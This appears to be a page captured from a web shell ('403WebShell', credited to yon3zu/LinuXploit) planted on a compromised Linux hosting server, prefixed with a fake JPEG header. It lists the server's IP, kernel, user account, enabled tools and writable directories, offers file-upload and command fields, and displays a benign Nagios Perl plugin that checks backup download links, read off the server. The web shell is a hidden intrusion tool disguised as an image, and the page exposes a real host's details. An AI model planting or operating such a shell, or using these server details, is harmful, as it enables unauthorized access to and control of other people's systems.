����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 3.15.31.240
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib64/nagios/plugins/extra/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib64/nagios/plugins/extra/check_backup_links
#!/usr/bin/env perl
use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Request::Common;
use JSON::XS;
use Getopt::Long;
use Sys::Hostname;
use feature qw(say);
use Net::FTP;
use File::Basename;

my ( $opt_h, $opt_u, $opt_p, $opt_l, $opt_t, $opt_host, $opt_port );
GetOptions(
    "h|help" => \$opt_h,
    'u=s'    => \$opt_u,
    'p=s'    => \$opt_p,
    'l=s'    => \$opt_l,
    't=i'    => \$opt_t,
    'host=s' => \$opt_host,
    'port=i' => \$opt_port,
);

&help if $opt_h;

if ( !$opt_u || !$opt_p || !$opt_l ) {
    say STDERR 'Wrong usage, login credentials are not set up!';
    exit 3;
}

$opt_port //= '';
$opt_host //= hostname();
$opt_t    //= 30;

my @incidents;

my ( $user, $pass, $hostname, $location, $timeout )
  = ( $opt_u, $opt_p, $opt_host, $opt_l, $opt_t );
$hostname .= ':' . $opt_port if $opt_port;
my $url    = 'https://' . $hostname . $location;
my $ua     = LWP::UserAgent->new();
$ua->timeout($timeout);
my $req = HTTP::Request->new( GET => $url );
$req->header( 'accept'       => 'application/json' );
$req->header( 'content-type' => 'application/json' );
$req->authorization_basic( $user, $pass );
my $res = $ua->request($req);

if ( !$res->is_success ) {
    say $res->status_line;
    exit 2;
}
else {
    my $content = decode_json( $res->content )->{content};
    my $ftplink = $content->{ftplink};
    my $wwwlink = $content->{wwwlink};
    # check wwwlink
    $req = HTTP::Request->new( GET => 'https://' . $opt_host . '/' . $wwwlink );
    $req->header( 'accept'       => 'application/octet-stream' );
    $req->header( 'content-type' => 'application/octet-stream' );
    $res = $ua->request($req);
    push @incidents, 'wwwlink does not work' if !$res->is_success;
    # check ftp link
    my ( $filename,$dir ) = fileparse($ftplink);
    my $savepath = '/var/tmp/check_backup_links';
    my $ftp = Net::FTP->new( $opt_host, Debug => 0, Port => 2121 );
    if (!$@) {
        $ftp->login('anonymous') or push @incidents, 'Cannot login to FTP server!';
        $ftp->cwd($dir) or push @incidents, 'Cannot change directory!';
        $ftp->get( $filename, $savepath ) or push @incidents, 'Cannot download file!';
        $ftp->quit;
        unlink $savepath if -f $savepath;
    } else {
        push @incidents, 'Cannot connect to FTP server!';
    }
}

if (@incidents) {
    say join( "\n", @incidents);
    exit 2;
}

say 'OK';
exit;

# subs
sub help {
    print "Usage : $0 -u username -p password -l URI\n";
    print "Options :\n";
    print " -u: Username for basic auth\n";
    print " -p: Password for basic auth\n";
    print " -t: Timeout for HTTP request\n";
    print " -l: URI used in url\n";
    print " --port: Port used in url (optional)\n";
    print " --host: Hostname used in url (optional)\n";
    print "\nExample of usage : $0 -u backup -p 123456 --port 5000 -h '/api/method'\n";
    exit 3;
}

Youez - 2016 - github.com/yon3zu
LinuXploit